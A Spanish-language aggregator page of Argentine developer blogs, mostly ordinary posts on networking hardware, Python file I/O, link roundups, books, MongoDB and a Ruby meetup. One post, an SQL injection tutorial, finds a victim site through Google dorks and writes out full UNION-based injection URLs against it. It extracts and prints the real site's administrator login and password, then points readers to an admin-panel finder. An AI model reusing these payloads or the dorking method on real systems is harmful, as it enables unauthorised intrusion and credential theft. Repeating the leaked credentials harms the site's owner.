Subscribirse al RSS Feed
(CodeAR)

codeAR es un Agregador de Noticias que intenta capturar los blogs de los desarrolladores Argentinos. Para saber que piensan, que están desarrollando, que están leyendo, que están imaginando.
Si tenes un blog sobre desarrollo de sistemas o relacionado al tema, te invitamos a participar de este Planeta, envianos un mail con la dirección de tu blog.

PowerBridge M5x3 de Ubiquiti

Está disponible la documentación del reciente producto lanzado por Ubiquiti que tiene soporte de MIMO 3×3, el PowerBridge M5x3. Esta versión de 5Ghz Carrier Class -de 4.9Ghz a 6.0Ghz- permite lograr una velocidad de 200MBps reales de TCP/IP a 20 kilómetros según lo dice el datasheet; ésta versión viene con soporte de puertos Giga Ethernet [...]


SQL Injection desde cero

desde [A]NTRAX [L]ABS por ANTRAX (noreply@blogger.com)

Introducción:

Hola a todos, En este tutorial les enseñare SQLi desde cero.
Al ser un tutorial con fines educativos y no destructivos. Solamente veremos cómo obtener el usuario y contraseña de administrador. El resto corre por cuenta de cada uno lo que quiera hacer con el acceso…
Se comenzara buscando una web cualquiera en google, buscaremos un lugar en la web para inyectar, haremos la inyección y obtendremos los datos de acceso. Pero antes comenzaremos con un poco de teoria.

SQL

Es un lenguaje normalizado, estructurado de consultas a bases de datos. Esto quiere decir, que en casi todas las consultas a distintos tipos de bases de datos, se usan las mismas sentencias.
SQL, cuenta con dos comandos, que son los DLL (permiten crear y definir bases de datos, campos e índices) y por otro lado los comandos DML (permiten generar consultas, filtrar y extraer datos de la base de datos).
Nos centraremos en ese último, ya que SQLi, consiste en generar consultas a la base de datos para que nos devuelva datos de interés.
Los comandos DML son:

Delete: Permite eliminar registros de la base de datos.
Update: Modifica valores de campos previamente creados.
Select: Sirve para consultas registros en la base de datos.
Insert: Carga lotes de datos en una base de datos.

Clausulas

Las clausulas son condiciones de modificación. Y se emplean para definir datos o manipularlos.
Entre las clausulas tenemos:

Order By: Ordena registros seleccionados
Group by: separa registros
Having: expresa una condición que debe satisfacer cada grupo
From: Sirve para especificar una tabla de la cual se quieren obtener registros
Where: Sirve para las condiciones que debe reunir un registro para ser seleccionado

Operadores Logicos

Los operadores lógicos o conectivos lógicos se utilizan para conectar dos formulas para que el valor de verdad. Siempre darán un valor de verdad verdadero o falso y se leen de izquierda a derecha.
Los operadores lógicos usados son:

Or: Evalua dos condiciones, devolviendo un valor de verdad verdadero si alguna de las dos es verdadera
And: Evalua dos condiciones y devuelve un valor de verdad verdadero, si ambas condiciones son iguales.
Not: Devuelve un valor contrario a la expresión. Si la expresión es True, devolverá False y viceversa

Operadores de comparación:


Los operadores de comparación, son utilizados para comparar dos valores o formulas.
Los operadores son:

< Menor que > Mayor que
<> Distinto que
>= Mayor o igual que
<= Menor o igual que
Between: especifica un intervalo de valores
Like: Compara un modelo
In: Especifica registros en una base de datos

Funciones de agregado

Estas formulas se utilizan dentro de la clausula Select en grupos de registros para devolver un único valor que se aplica en un grupo de registros.

Max: devuelve el valor más grande de un campo específico
Min: Devuelve el valor más chico de un campo especifico.
Sum: Se utiliza para devolver la suma de todos valores de un campo específico
Avg: calcula el promedio de un campo específico Count: Devuelve el numero de registros de la selección Limit: devuelve un rango de resultados deseados en lugar de todos los que puede devolver dicha consulta.

Otras consultas

Veremos a continuación otras consultas que se suelen utilizar en las inyecciones SQL.

Union: Sirve para combinar el resultado de dos consultas juntas.
Information_schema.tables: Devuelve información de una tabla determinada
Information_schema.columns: Devuelve información de una columna determinada
Concat: Concatena los resultados de varios campos diferentes
Group_concat: devuelve como resultado una cadena de concatenación de un grupo de valores no nulos Char: se utiliza para insertar caracteres de control en cadenas de caracteres. 

SQLi

Este tipo de ataque consiste en inyectar código SQL en una sentencia SQL ya programada, con el fin de alterar el funcionamiento de la base de datos.
Lo que haremos a lo largo de este tutorial, será inyectar código SQL a una web, con el fin de ocasionarle errores a la base de datos para que nos devuelva datos que usaremos en nuestra inyección y finalmente obtener los datos de acceso al panel de administración.

Dorks:

Los Dorks son palabras claves que usaremos para encontrar sitios vulnerables.
Un ejemplo de dork seria el siguiente: noticia.php?id=
En google deberíamos poner lo siguiente: inurl: noticia.php?id=
Esto nos arrojara muchos resultados de sitios que quizás ya no sean vulnerables. Pero es por eso que debemos ir alternando Dorks, hasta que logremos dar con una.
El método para generar dorks seria cambiar el noticia por otro nombre, por ejemplo news, view, photo, etc. Y el resto quedaría igual.
Otra de las cosas a tener en cuenta, es que después de realizar la búsqueda, ir a las páginas del final que son las que más desactualizadas están y probablemente sean vulnerables.
Veremos a continuación un ejemplo:

Coloco el Dork en google y comienzo a navegar, buscando webs que puedan llegar a ser vulnerables. Yo encontré esta:

Como se puede ver, ahí en la url aparece el dork que coloque en google

Pero… ¿cómo me doy cuenta si es o no vulnerable?

Acá empieza la parte entretenida. Lo que debemos hacer es borrar lo que esta después de id= y provocar un error en la base de datos.

¿Y de qué forma podemos provocar un error?

Fácil… colocando caracteres no permitidos, por ejemplo una comilla, un numero negativo, etc. Colocare un -1 (uno negativo) y veremos cómo se comporta la web

Pagina original:

Pagina con el -1:

Se puede notar que no han cargado elementos dentro del cuerpo de la página, esto da señal a que puede ser vulnerable.
Ahora probemos colocando una comilla:

Nos tira un error de la base de datos:
Fatal error: Call to a member function RecordCount()
on a non-object in /home/samg/public_html/include/objetos/Noticia.class.php
on line 333
Con esto podemos ver que pudimos generar un error en la consulta a la base de datos.

SQL Injection

Ahora probaremos si realmente es vulnerable o no a SQLi. Para ello, después del id= colocaremos lo siguiente:
-1+UNION+SELECT+1,2--
 Y en mi caso, en el cuerpo de la página, me sale el mismo Fatal error que cuando ingrese la comilla simple.
Lo que debemos hacer ahora, es comenzar a añadir números, hasta que ese error desaparezca.

La inyección seria así:
-1+UNION+SELECT+1,2,3--
-1+UNION+SELECT+1,2,3,4--
-1+UNION+SELECT+1,2,3,4,5--
Y asi sucesivamente hasta que el error desaparezca. En mi caso quedo hasta el numero 12, pero hay ocasiones en las que puede superar los 60!

Cuando el error ya no este, nos volverá a mostrar la pagina, y curiosamente contiene uno o mas  números en el cuerpo de la web

Ese 5 y ese 2, son números de tablas, la web es vulnerable a SQLi. En este caso debo elegir uno de los dos números, yo seleccionare el 5 por que es el mas vistoso, pero en definitiva se puede usar cualquiera.
Usare a ese 5 para que me muestre los nombres de las tablas en su lugar.
Lo que sigue ahora es agregar después del último número de la url el siguiente código:
+from+information_schema.tables--
Quedaría en mi caso, así:

 Y reemplazar el número 5 (que fue el numero que nos apareció en el cuerpo de la pagina) por table_name

 Una vez hecho esto, presionamos enter y veremos que en el cuerpo del mensaje nuestro numero desapareció y apareció el nombre de una tabla en su lugar.

Lo que debemos hacer ahora, es agregar después de information_schema.tables lo siguiente:
+limit+2,1--

Quedaría algo así:

Y si miramos el cuerpo del mensaje, el nombre de la tabla, cambió

Lo que sigue, es ir sumándole +1 al limit para que valla de forma creciente, hasta encontrar una tabla que pueda contener los datos del administrador de la página
El limit debería ir de la siguiente forma:
+limit+2,1--
+limit+3,1--
+limit+4,1--
+limit+5,1--
Y así sucesivamente hasta hallar una tabla importante. En mi caso llegue hasta la 38 y encontré la de administradores.

Lo que sigue, es convertir ese nombre a ASCII. Asique buscaremos en google algún conversor de string a ascii.

El resultado de samg_administradores es el siguiente:
115 97 109 103 95 97 100 109 105 110 105 115 116 114 97 100 111 114 101 115
Ahora sacaremos los espacios que hay entre los números y colocaremos comas entre los valores:
115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115
Guardaremos esa cadena de números para usarla luego en nuestra inyección.
Ahora volvemos a nuestra inyección y cambiaremos table_name por group_concat(column_name) y information_schema.tables por
information_schema.columns+where+table_name=char(115,97,109,103,95,97,100,109,105,11
0,105,115,116,114,97,100,111,114,101,115)--
y quitamos el +limit+ con sus valores numéricos.

Debería quedar así:
http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name)
,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(115,97,109,
103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--
Si observamos, el cuerpo de la página, veremos la composición de las columnas de la tabla

Las que me sirven en mi caso son las columnas de Login y Password, asique ahora reemplazaremos en la inyección lo siguiente:
group_concat(column_name) por concat(Login,0x3a,Password)
Concat significa concatenar, algo similar que unir. Y el 0x3a, son dos puntos. Esto es para que el usuario y la contraseña no aparezcan juntas, sino que los separe los dos puntos. Teniendo un resultado algo así:

Usuario:Contraseña

Y borraremos desde information_schema.columns en adelante y dejaremos solamente el +from+
Y luego de ese from, colocamos el nombre de la tabla, que en mi caso se llamaba: samg_administradores
Quedándome lo siguiente:



Y en el cuerpo de la página, podremos ver los datos del administrador:

Usuario: samg
Contraseña: samg06
En caso de querer hackear la web, solo resta encontrar el panel de admin con algún admin finder. Pero como dije al principio del tutorial, este paper es con fines educativos.
Espero que les haya gustado y que les sea útil.

ANTRAX

I / O en Python

desde [A]NTRAX [L]ABS por ANTRAX (noreply@blogger.com)
Introducción:

La función f.write de python, se usa para la entrada y salida de datos. Esta función es muy útil, ya que no solo permite crear archivos de texto plano, sino que también podemos hacer otros scripts a partir de este.

Creando un archivo:

Empezaremos creando un archivo de texto plano. El comando para ello es el siguiente:
f= open(“test.txt”)
Si no añadimos ningún parámetro, por defecto le añadirá ‘r’. Este parámetro sirve para leer datos que hay en ese archivo.
Si lo que deseamos es crear un fichero para escribir en el, debemos colocar:
f=open(“test.txt”, ‘w’)
Si queremos añadir contenido al final del archivo, se coloca ‘a’
f=open(“test.txt”, ‘a’)
Para utilizar el contenido de un binario se coloca ‘b’
f=open(“test.txt”, ‘b’)
Para cerrarlo, solo basta con llamar a
f.close()
Escribiendo en el archivo:

Para poder escribir en el fichero, se utiliza el comando:
f.write(“texto”)
Veremos un ejemplo:
f = open("test.txt",'w')
f.write('hola mundo\n')
a=raw_input("Ingrese numero: ")
f.write("El numero ingresado es: ")
f.write(a)
f.close()
Creamos el fichero, colocamos un hola mundo y escribimos un número

Leer un archivo:

Para poder leer un archivo, se utiliza el comando read. La línea sería la siguiente:
f.read()
Y si queremos que nos imprima el contenido del txt. Solo debemos añadirle un print:
f = open("test.txt")
print f.read()
f.close()
Si quisiéramos leer una sola línea, reemplazamos el read por readline. Y de esta forma solo nos leerá una línea.
Scripts
A demás de texto plano, podemos también crear scripts en python. Solo deberíamos hacer una modificacion
f= open(“test.py”, ‘w’)
El resto ya sería el script. Y acá les dejo un ejemplo con una suma de dos números

Script:
f = open("test.py",'w')
f.write('a=raw_input("Ingrese un numero: ")\n')
f.write('print "Valor de a:", a\n')
f.write('b=raw_input("Ingrese otro numero: ")\n')
f.write('print "Valor de b:", b\n')
f.write('c=a+b\n')
f.write('print "Resultado de la suma:", c')
f.close()
Resultado:
a=raw_input("Ingrese un numero: ")
print "Valor de a:", a
b=raw_input("Ingrese otro numero: ")
print "Valor de b:", b
c=a+b
print "Resultado de la suma:", c

Imágen de OpenWRT para MetaROUTER en MikroTik

Existen veces que queremos hacer alguna implementación de algo que no está disponible en MikroTik RouterOS nativamente, por ejemplo un sistema IDS de detección de intrusos o correr un firewall tipo IPCop. Para poder instalar algunas funcionalidades adicionales en los RouterBOARD podemos utilizar el sistema de virtualización propietario de MikroTik llamado MetaROUTER. En él se pueden ejecutar [...]


Porque defiendo la libertad de expresión quiero que sigamos pudiendo ver este chiste

desde aurelianito por aurelianito (noreply@blogger.com)

No dejemos que ninguna corporación nos quite nuestra libertad de expresión.

Imperdibles (enero 25th – 10:39 – 17:17)

desde Hipertextos [desde La Plata] por Christian Silva

Vínculos interesantes que voy coleccionando en Delicious

  • Hack for your Rights / Hackea por tus derechos – Tratamos en este texto de extrapolar ideas de las luchas y conquistas en el ámbito digital y aplicarlas en la búsqueda de cambios en otras áreas de nuestra sociedad. Y es que una de las "partidas" de un potencial estratégico manifiesto que se han producido durante las últimas décadas, ha sido la que el Software Libre ha librado contra el software privativo de grandes empresas como Microsoft.
  • HTML5 Canvas & Processing JS – When I first sat down to redesign my personal site I knew that I wanted to incorporate HTML5 Canvas somewhere in the layout. The problem was that I hadn't worked with canvas before and had to start from scratch. I went through the pain of learning every aspect of adding text, drawing shapes, importing image, etc… before I found the amazing canvas framework Processing.JS
  • Los hackers son los científicos de la nueva Ilustración – Antonio Lafuente (@alafuente) es investigador del Centro de Ciencias Humanas y Sociales (CSIC). Ha estudiado la relación de la ciencia con sus públicos y el conocimiento profano. Investiga la relación entre tecnología y sociedad. Es uno de los grandes defensores del término “procomún“. Participa activamente en los Labotatorios del Procomún de Medialab Prado de Madrid. Antonio ha respondido por correo electrónico a un largo cuestionario enviado por Código Abierto. Sus respuestas son clarividentes, agudas, reflexivas, ácidas.
  • Hacer fortuna "robando" la propiedad intelectual de otros: los piratas de Hollywood – Llegado el nuevo milenio, cada vez son menos empresas las que dominan cada rubro del mercado, pasando por Microsoft y Google, y siguiendo por la concentración en bancos, farmacéuticas o productoras de alimentos. Las discográficas y estudios cinematográficos no son la excepción, y en las últimas décadas se han fusionado o convertido en subsidiarias de conglomerados todavía mas oligopólicos.
  • Community Manager: ¿oficio o espejismo? – Hoy es el ” Día del Community Manager” o del profesional en Social Media. Y mientras el tema se va convirtiendo en trending topic en Twitter, vale la pena proponer un análisis sobre lo que este nuevo perfil involucra tanto para la comunicación en sociedad, como el desafío que plantea para las instituciones del siglo XXI. Este análisis para ser de provecho, debe estar desprovisto de toda actitud tecno-fascinada así como de toda postura apocalíptica sobre el uso de las tecnologías de la información para la conversación. Recordemos que totalizar ( “todo pasa por social media) es tan perjudicial como reducirlo a la caricatura (“solo se trata de vendehumos).

Error en Asterisk al ver el reporte de llamadas

Hace unos días que actualice una central telefónica IP basada es Asterisk, luego de reiniciarla para que tome el nuevo kernel cuando quería visualizar el reporte de llamadas me daba el siguiente error: YOU MUST ACCESS THE CDR THROUGH THE ASTERISK MANAGEMENT PORTAL! Luego de buscar un rato encontré la solución en un blog que [...]


Cambiar foto de perfil en Twitter, cuando la cambio en Facebook

desde En borrador permanente por Juanjo

Ifttt, If this then that, es un sitio web que permite utilizar está clásica sentencia de control de programación en la web.

Uno tiene a su disposición una serie de canales. Estos disparan eventos y realizan acciones.  La combinación de un evento y una acción es una tarea. Y cuando uno publica una tarea, se la llama receta. Existe un repositorio de recetas publicadas por los usuarios en donde se pueden encontrar algunas muy útiles. La mejor que estoy usando es:

Otras recetas que estoy usando son:

  • Cuando posteo en el blog, comunicarlo en Facebook.
  • xkcd comic emailed to me whenever it updates
  • Tweet if I upload a video to youtube.

Imperdibles (enero 23rd – enero 24th)

desde Hipertextos [desde La Plata] por Christian Silva

Algunos vínculos interesantes que voy coleccionando en Delicious

  • Weinre – Weinre is WEb INspector REmote. Pronounced like the word "winery". Or maybe like the word "weiner". Who knows, really. weinre is a debugger for web pages, like FireBug (for FireFox) and Web Inspector (for WebKit-based browsers), except it's designed to work remotely, and in particular, to allow you debug web pages on a mobile device such as a phone.
  • Facebook y la filosofía – Cada vez simpatizo más con la idea de que a estas alturas la gente que no tiene una cuenta en Facebook tiene algo que ocultar. Si alguna vez la versión de nosotros mismos en esas redes sociales, definida por conductas aparentemente triviales como mantener durante años la misma foto de perfil o cambiarla compulsivamente cada semana, no tuvo ningún significado, se ha decretado finalmente el fin de la inocencia. Todo tiene un sentido y una razón de ser. Y si no somos capaces de descifrarlo, ahí tenemos a los filósofos entregados en cuerpo y alma a la causa.
  • El lenguaje administrativo mata la comunicación y la participación – Comento dos casos, uno en el ámbito público y otro en el privado, que en todos los lados cuecen habas. En el que parece ser un constante intento de acercar a ciudadanía y Administración sigue habiendo, desde mi punto de vista, un obstáculo que parece sacado de otro tiempo: el lenguaje administrativo. Leía en El País que Navarra avanza hacia una ley de la transparencia y, junto a ella se incluye una orden foral sobre participación ciudadana.
  • Lo viejo que no quiere morir, lo nuevo que no termina de nacer – La semana pasada quedará grabada en los futuros ebooks dedicados a la historia de la sociedad-red. En pocos días quedó claro que vivimos un tiempo de transición donde, como resumí en un tweet, "lo viejo que no quiere morir, lo nuevo que no termina de nacer". Si damos un vistazo veloz a los eventos de la semana pasada, cada uno de ellos daría para varios posts.
  • Apple habló y a mucho no nos gustó lo que dijo. Ojo igual con las primeras impresiones – Nos nos interesan demasiado las herramientas sino los géneros, nos nos fascinan lo espejitos de colores sino el aumento de la capacidad expresiva. Por ello nuestra gran expectativa frente a los anuncios era contar con una nueva forma de narrar (audiovisualmente) que permitiera al mismo tiempo contemplar, comprender, comentar, pero sobretodo componer, expresar y multiplicar puntos de vista con calidad estética y con contundencia visual ¿Lo logra iBooks Author en su formato primigenio actual, o al menos en futuras evolcuioens a corto plazo?

Nueva theme para MKE Solutions

Si bien tiene varios días de funcionamiento la nueva interfaz de MKE Solutions, hasta ayer estaba con cambios internos en el código mas no así del aspecto. Este nuevo estilo está muy optimizado, su código es más compacto y dispone de mayores recursos por lo que hace que el sitio tenga una buena performance. Existe [...]


Relatos de Zafón

desde En borrador permanente por Juanjo

Rescato un post que estuvo en borrador por 3 años!! Justo ahora que estoy con ganas de comprar la tercer novela de Zafón, El prisionero del cielo.

Hace menos de un mes terminé de leer El Juego del Ángel, la segunda novela para adultos de Carlos Ruiz Zafón. Visitando su sitio web encontré una sección con relatos inéditos.

A los que quieran empezar a leer a este autor les recomiendo el cuento La Mujer de Vapor.

Carlos Ruiz Zafón (Barcelona, 25 de septiembre de 1964) es un escritor español que vive en Los Ángeles (Estados Unidos) desde 1993, donde se dedicó unos años a escribir guiones de cine al tiempo que desarrollaba su carrera como novelista.

Su primera novela para adultos, La sombra del viento, fue un gran éxito de ventas, pese a la desatención de la crítica literaria española, aunque no la internacional (que la aclamó como una de las grandes revelaciones literarias de los últimos tiempos). Esta novela se ha traducido a 45 idiomas, ha vendido más de 10 millones de ejemplares en todo el mundo y ha obtenido numerosos premios internacionales. En el año 2007 se ha publicado una recopilación titulada “La Trilogía de la Niebla” que comprende sus primeras obras “El príncipe de la niebla”, “Las luces de septiembre” y “El palacio de la medianoche”.

Carlos Ruiz Zafón lanzó el pasado 17 de abril de 2008 su nueva obra con una tirada de un millón de ejemplares, en la Editorial Planeta. La propia Editorial Planeta ha considerado que este lanzamiento supone un hito histórico en España.

Fuente: Wikipedia

Imperdibles (enero 19th – enero 23rd)

desde Hipertextos [desde La Plata] por Christian Silva

Algunos vínculos interesantes que voy coleccionando en Delicious

  • A Biopunk Manifesto by Meredith Patterson – (Video) Un manifiesto Biopunk por Meredith Patterson: el conocimiento científico es necesario para el funcionamiento de la sociedad en la era moderna. Conocimiento científico no es la educación científica. Una persona educada en la ciencia puede comprender la ciencia, una persona con conocimiento científico puede hacer la ciencia. La alfabetización científica permite a todos los que la poseen puedan participar activamente en sus propios cuidados de salud, la calidad de sus alimentos, agua y aire, sus interacciones muy con su propio cuerpo y el complejo mundo que les rodea.
  • El futuro de los Indignados en la mirada de Manuel Castells – ¿Qué sucederá con el movimiento nacido de las redes sociales españolas y que llevó a las calles a millones de jóvenes en búsquedas de una nueva democracia distinta a la propuesta por los partidos mayoritarios? El abandono de las plazas y los campamentos para entrar en una nueva etapa de reflexión puede dar, en lugar de provocar su desaparición como desea el establishment sino, un nuevo camino para el pueblo español.
  • Internet entierra las escenas musicales – Massive Attack fueron un producto genuino del Bristol de principios de los noventa y de todo un aroma jamaicano que creó un sonido con denominación de origen; los New York Dolls o Talking Heads no se entenderían completamente sin analizar aquel Manhattan de mediados de los 70 sumido en plena depresión económica y social; sería también complicado imaginar todo el movimiento punk y Oi! de Inglaterra sin las manifestaciones, el paro y el derrocamiento del laborismo que ejecutaron los propios sindicatos. Pero hoy todo el asunto empieza a sonar diferente.
  • Un 2012 a todo Javascript! – Comienza un nuevo año y es un buen momento para aprender una nueva tecnica o ponerse a programar en un nuevo lenguaje pero cual es la tecnología más puntera del 2012? Pues un optimo candidato es seguramente Javascript! Veamos juntos que nos reservan para el 2012 algunas de las mejores librerías y frameworks basados en el lenguaje Javascript!
  • iBooks Author, Apple lanza su propio creador de libros electrónicos – Tal y como mencionaban los rumores, Apple ha lanzado su propia herramienta de creación de libros electrónicos llamada iBooks Author. Con ella, cualquier persona que se lo proponga puede publicar un libro usando el nuevo formato de libro de texto compatible con iBooks 2, aplicación que también se ha lanzado hoy en el evento que ha dado Apple en Nueva York.
  • Argentina: transmitirá una entrevista con Linus Torvalds, tenemos un adelanto – El programa web 360TV consiguió una entrevista en exclusiva con Linus Torvalds, el creador de Linux. Linus conversó sobre el crecimiento del sistema, su uso en los más diversos dispositivos, la distribución que usa (“cambio todo el tiempo. Solía usar SUSE hace 10 años, después cambié a Fedora, posiblemente cambie a Debian”, dice), el futuro de Linux y otros temas.

The girl with the dragon tattoo bonus track

desde En borrador permanente por Juanjo

Algunas películas suelen venir con bonus track, escenas inéditas, comentarios del director u otros adicionales que por lo general terminan en la versión DVD del producto y que son consumidas vorazmente por los fans.

Por estos días está en cartelera la película The girl with the dragon tattoo, del director David Fincher (Fight club, Benjamin Button, Social Network). Basada en un libro que ya comenté aca, tiene un problema fundamental: llegó tarde. La película no es mala y a gente que no conoce la historia le gustó mucho, pero ya hay una adaptación al cine del libro, y encima es Sueca. Así que si quieren un bonus track de esta película, tienen toda una película exra, la original. Y si realmente quieren conocer la historia completa, con todos los detalles, pueden alocarse y hasta leer el libro. Si, los de papel.

PS: llegó a la Argentina con el nombre de la edición estadounidense del primer libro de la trilogía Millenium de Larsson (no me gusta esa manía de las editoriales norteamericanas de cambiar siempre los títulos de las obras).

desde Blog de UsabilidadWeb.com.ar por Carlos (noreply@blogger.com)

Curso Almacén de Datos NoSQL MongoDB y PHP


Una reunión en San Francisco fue la inauguración de la comunidad de NoSQL, un grupo de personas que comparten la idea de destronar la tiranía de las bases de datos relaciones, costosas y lentas, en favor de una alternativa mucho más eficiente y barata para manipular datos. Las bases de datos relacionales nos ofrecen demasiado. Nos fuerzan a adaptar nuestros objetos para adaptarlos a una RDBMS (sistema de gestión de bases de datos relacional), dice Jon Travis, uno de los principales ingenieros en SpringSource, y uno de los 10 presentadores en la reunión de NoSQL. Las alternativas basadas en NoSQL te ofrecen sólo lo que necesitás, dice Travis. [Referencias: dosideas.com]


El curso MongoDB es un ámbito alternativo, de investigación, de descubrimientos, de máxima libertad, donde quienes puedan codearse con lo mencionado estarán a gusto. Los colosales volúmenes de datos que controla la Web 2.0, que son la puerta de entrada a fabulosos negocios, son ámbitos poco propicios para las bases de datos relacionales.

Algunas Características de MongoDB

MongoDB es una solución escalable y de alto rendimiento, es una base de datos NoSQL de código abierto, escrita en C++:

MongoDB es un sistema de base de datos multiplataforma orientado a documentos, de esquema libre. Esto significa que cada entrada o registro puede tener un esquema de datos diferente, con atributos o columnas que no tienen por qué repetirse de un registro a otro. Está escrito en C++, lo que le confiere cierta cercanía al bare metal, o recursos de hardware de la máquina, de modo que es bastante rápido a la hora de ejecutar sus tareas. Está licenciado como GNU AGPL 3.0, de modo que se trata de un software de licencia libre. Funciona en sistemas operativos Windows, Linux, OS X y Solaris.

Las características más destacadas de MongoDB son su velocidad y su rico pero sencillo sistema de consulta de los contenidos de la base de datos. Se podría decir que alcanza un balance perfecto entre rendimiento y funcionalidad, incorporando muchos de los tipos de consulta que utilizaríamos en nuestro sistema relacional preferido, pero sin sacrificar en rendimiento.

MongoDB permite utilizar funciones Map y Reduce escritas en Javascript para seleccionar los atributos que nos interesan de los datos, y agregarlos (unificarlos, simplificarlos), etc..

La meta de MongoDB es unir la brecha entre los almacenamientos clave-valor, los cuales son rápidos y escalables, y los motores relacionales tradicionales, los cuales proveen de consultas ricas y funcionalidades avanzadas. El motor está designado para resolver problemas que no tienen una solución fácil mediante motores relacionales, como por ejemplo bases de datos distribuidas.

La base de datos es orientada a documentos, de modo que trabaja de una forma diferente a los DBMS relacionales. MongoDB maneja colecciones de documentos similares a JSON. Esto permite a muchas aplicaciones modelar los datos de una manera más natural, siendo posible anidar los datos en jerarquías complejas y que estos sigan siendo consultables e indizables.


- Están basadas en código abierto
- Soportan la escritura de un gran volumen de datos simultáneamente
- Orientada al almacenamiento de Documentos
- Auto-Sharding, escalado horizontal sin compromiso de la funcionalidad
- Puede trabajar con las siguientes tecnologías: C, C++, Erlang, Haskell, Java, Javascript, Perl, PHP, Python, Ruby, etc..


Los conceptos teóricos iniciales dan paso al proceso de instalación y puesta en marcha de MongoDB, en este caso se hará sobre una plataforma Debian GNU/Linux, que además de sus cualidades operativas, nos propone un escenario de máxima libertad.

I. Inicialmente el trabajo estará centrado en la interacción desde una consola Linux contra la base de datos, alli podremos comprender la forma de operación de éste sistema de almacenamiento, por supuesto, no usaremos el lenguaje SQL.

II. Cuando tengamos una idea interesante sobre su funcionamiento, la segunda etapa estará centrada en la instalación de diversos software y su configuración para poder llevar la operación contra el sistema de almacenamiento desde PHP.

III. Una tercera etapa, es la operación contra MongoDB desde Java, también en un ambiente Linux. Además de las consideraciones teóricas, se desarrollarán dos proyectos simples para poder apreciar el funcionamiento conjunto de ambas tecnologías.


http://www.usabilidadweb.com.ar/mongoDB.php
http://twitter.com/#!/@w3codigo

Vos poné cara de Borges que yo pongo cara de Cortázar

desde En borrador permanente por Juanjo

Mi amigo Joel Lorenzatti está de visita en la ciudad por motivos non-satos que no van a publicarse por el momento. Luego de una tarde tirados en el pasto escuchando cuentos y entrevistas de Borges y Cortázar y comparándolos, el azar nos llevó a un bar en la peatonal San Martín. En este bar, se tomó la foto cínica del día, titulada como este post.

En nuestro pueblo, Carlos Pellegrini, se está llevando a cabo la Fiesta Nacional de Reinas Nacionales, la meta-fiesta que comenté hace unos días. En frente a mi departamento se está llevando a cabo el Festival Folclórico de Guadalupe. Pero nosotros tenemos menos festival que el Vaticano, así que comemos y nos vamos al cine.

Julio Cortazar, a fondo

desde En borrador permanente por Juanjo

Estos días estoy mirando en Youtube un reportaje que le hicieron a Julio Cortazar en la televisión española. Muy interesante, son 14 fragmentos de unos 10 minutos promedio. Muy recomendable.

Hace un tiempo atrás; feliz cumple to me

Un día como hoy hacen 32 años atrás, a las 10.30AM mi madre me dio a luz… Hoy es el primer día del resto de mi vida. Gracias a mis amigos que me han saludado en este día..   ©2012 Un Sanjuanino en Rio Cuarto. All Rights Reserved..


Imperdibles (enero 17th – enero 19th)

desde Hipertextos [desde La Plata] por Christian Silva

Algunos vínculos interesantes que voy coleccionando en Delicious

  • Hello world. Three documentaries about open programming languages – Hello World is the first sentence that every programmer experiences as a token of success. It’s also the name of a series of documentaries about three open programming languages and their communities.
  • Sheep Impact: Un juego para Android hecho en Processing – Leyendo el foro de Processing.org he encontrado este juego para moviles Android. Se llama Sheep Impact y es un buen ejemplo del nivel que podemos alcanzar con nuestro lenguage de programación favorido!
  • La organización permeable – La empresa y los emprendedores se enfrentan hoy a cambios radicales y a un ritmo sin precedentes. Nuevas formas de organización, comunicación, de relación y gestión del talento rompen las barreras del tiempo y del espacio y establecen nuevos modelos de relación y de negocio. Comprender e intuir lo que viene permitirá a las organizaciones y a sus dirigentes anticiparse, prepararse, y adoptar nuevos enfoques entorno a la innovación, la creación, la producción, la comercialización o la financiación, por ejemplo. Pero no se trata sólo de conocimiento y comprensión de este nuevo escenario, sino de un cambio de actitud, y sobre todo, de un cambio de mirada y de una nueva manera de pensar que permita formular las preguntas y los enfoques adecuados.
  • Niños de 13 años trabajan 16 horas al día por 70 centavos de dólar para fabricar el Iphone – Apple es, por mucho, una de las empresas más interesantes de los últimos años. No solo por los dispositivos que ha puesto en el mercado, atractivos en sí, sino por el aura que ha sabido imponer sobre sus productos, una inexplicable pátina de prestigio y lujo que, según parece, viene incluido en el precio que los consumidores pagan cuando adquieren un iPod, un iPhone, un iPad o lo que sea que, entusiasmados, llevan a sus casas u oficinas, en el bolsillo o en el portafolios, cuando deciden cambiar su dinero por un producto Apple.
  • Inteligencia Amplificada – Manual de uso de Arduino para prototipos de computación física.

Buenos Aires, Próximo Ruby Meetup en Febrero

desde Angel "Java" Lopez por lopez

Hoy me entero, en la lista rubysur, gracias a un mensaje del bueno de @etagwerker, de la próxima reunión de Ruby en Buenos Aires. Este es el mensaje:

Quería anunciar el meetup de Febrero:

Jueves 9/2 @ Vurbia - Guatemala 5000 (y Uriarte)

Si van a ir, por favor anotense acá:

https://docs.google.com/spreadsheet/viewform?formkey=dDNjZzhfV2RZQnN0WDJRNllaWFV5Nnc6MA#gid=0

Acá van a poder ver las charlas propuestas:

https://docs.google.com/spreadsheet/ccc?key=0AiLxWdzFG7oWdDNjZzhfV2RZQnN0WDJRNllaWFV5Nnc

Si quieren sponsorear o hostear el próximo meetup, escriban a meetup@ruby.com.ar

La anterior reunión había sido en diciembre. A pesar de haberme comprometido a concurrir en mi semana sabática, no fui: estuve bastante concentrado programando y estudiando. Haber ido hubiera sido tener como casi 3 horas de ida y vuelta más 2 horas de actividad, seguramente interesante. Esta vez, para no faltar, me comprometo a dar una charla de AjLisp en Ruby: no sé si a alguien le va a interesar, pero por lo menos me pone en compromiso público para ir :-)

[Incidentalmente, un intercambio de mensajes en esa lista (sobre activity feeds y redis) fue el disparador de dos proyectos de los que tengo que escriibir posts: AjActivity (implementando activity feeds) y AjKeyvs (simple key value store). Ambos implementados en C#]

En otro email, @etagwerker informó en la lista sobre la actividad de la reunión del 15 de diciembre pasado:

Tuvimos 2 charlas:

1. Yo hablé de la gema de templates Liquid y cómo lo estamos usando en mi emprendimiento para que  diseñadores web puedan customizar sus tiendas online.

Un par de enlaces:

- http://liquidmarkup.org/

- https://github.com/Shopify/liquid/wiki/ES-Home

- http://www.ombushop.com/liquid-api/index.html

2. @lucasefe habló de Grape y cómo le sirvió para construir una API REST JSON para su plataforma de donaciones de marca blanca (https://mycharitybox.com/)

- https://github.com/intridea/grape

- http://rubygems.org/gems/rack-jsonp

- https://github.com/apotonick/roar

